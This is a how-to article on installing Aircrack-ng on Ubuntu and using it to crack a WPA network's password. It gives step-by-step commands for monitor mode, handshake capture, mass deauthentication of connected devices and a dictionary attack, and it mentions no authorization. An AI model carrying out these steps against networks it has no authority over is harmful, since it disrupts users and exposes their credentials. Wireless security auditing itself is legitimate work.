Install Aircrack-ng on Ubuntu
Aircrack-ng is a whole suite of tools for Wireless Security Auditing. It can be used to monitor, test, crack or attack Wireless Security Protocols like WEP, WPA, WPA2. Aircrack-ng is command line based and is available for Windows and Mac OS and other Unix based Operating systems. Aircrack-ng suite contains a lot of tools used for various purposes but here we’ll only look at some important tools that are used more often in Wireless Security testing.
Airmon-ng
Airmon-ng is used to manage wireless card modes and to kill unnecessary processes while using aircrack-ng. To sniff a wireless connection, you need to change your wireless card from managed mode to monitor mode and airmon-ng is used for that purpose.
Airodump-ng
Airodump-ng is a wireless sniffer that can capture wireless data from one or more wireless Access Points. It is used to analyze nearby Access Points and to capture handshakes.
Aireplay-ng
Aireplay-ng is used for replay attacks and as packet injector. It can be de-authenticate users from their APs to capture handshakes.
Airdecap-ng
Airdecap-ng is used to decrypt encrypted WEP, WPA/WPA2 wireless packets with known key.
Aircrack-ng
Aircrack-ng is used to attack WPA/WEP wireless protocols in order to find the key.
Installation
Aircrack-ng is easy to install in Ubuntu using APT. Just type the following command and this will install all tools available in Aircrack-ng suite.
sudo apt-get update
sudo apt-get install -y aircrack-ng
sudo apt-get install -y aircrack-ng
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Usage
In this article, we’ll take a quick look at how to use aircrack-ng to crack an encrypted wireless network (TR1CKST3R in this example) to find the password.
First of all, list out all available wireless cards connected to your PC using ‘iwconfig’ command.
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We’ll use ‘wlxc83a35cb4546’ named wireless card for this tutorial (This might be different in your case). Now, kill all the processes running on wireless card using airmon-ng.
ubuntu@ubuntu:~$ sudo airmon-ng check kill
Start Monitor mode on ‘wlxc83a35cb4546’ by typing
ubuntu@ubuntu:~$ sudo airmon-ng start wlxc83a35cb4546
Start Monitor mode on ‘wlxc83a35cb4546’ by typing
ubuntu@ubuntu:~$ sudo airmon-ng start wlxc83a35cb4546
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Now, airmon-ng has started Monitor mode on wireless card, it’ll appear as different name ‘wlan0mon’. Run ‘iwconfig’ again to list wireless details.
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Then, use airodump-ng to see nearby Wireless Access Points and their properties.
ubuntu@ubuntu:~$ sudo airodump-ng wlan0mon
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You can narrow down search using MAC (–bssid) and channel (-c) filters. To capture handshake (Handshake contains encrypted password), we need to save our packets somewhere using “–write” option. Type,
ubuntu@ubuntu:~$ sudo airodump-ng --bssid 6C:B7:49:FC:62:E4
-c 11 wlan0mon --write /tmp/handshake.cap
--bssid : Access Point’s MAC Address
-c : Access Point’s channel [1-13]
--write : Stores captured packets at a defined location
-c 11 wlan0mon --write /tmp/handshake.cap
--bssid : Access Point’s MAC Address
-c : Access Point’s channel [1-13]
--write : Stores captured packets at a defined location
Now, we need to de-authenticate every device from this Access Point using Aireplay-ng utility. Write
ubuntu@ubuntu:~$ sudo aireplay-ng -0 100 -a [MAC_ADD] wlan0mon
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-a : Specify Access Points MAC for Aireplay-ng
-0 : Specify number of deauth packets to send
After a while, all devices will be disconnected from that Access Point, when they’ll try to reconnect, running airodump-ng will capture the handshake. It’ll appear at the top of running airodump-ng.
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Handshake is stored in ‘/tmp/’ directory, and contains encrypted password that can be brute forced offline using a dictionary. To crack the password, we’ll be using Aircrack-ng. Type
ubuntu@ubuntu:~$ sudo aircrack-ng /tmp/handshake.cap-01.cap -w
/usr/share/wordlists/rockyou.txt
-w : Specify the dictionary location
/usr/share/wordlists/rockyou.txt
-w : Specify the dictionary location
Aircrack-ng will go through the list of passwords, and if found, it’ll display the password used as key.
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In this case, aircrack-ng found the password used ‘123456789’.
Now, stop Monitor mode on wireless card and restart the network-manager.
ubuntu@ubuntu:~$ sudo airmon-ng stop wlan0mon
ubuntu@ubuntu:~$ sudo service network-manager restart
ubuntu@ubuntu:~$ sudo service network-manager restart
Conclusion
Aircrack-ng can be used to audit Wireless Security or to crack forgotten passwords. There are some other similar tools available for this purpose like Kismet but aircrack-ng is better known for good support, versatility and having wide range of tools.
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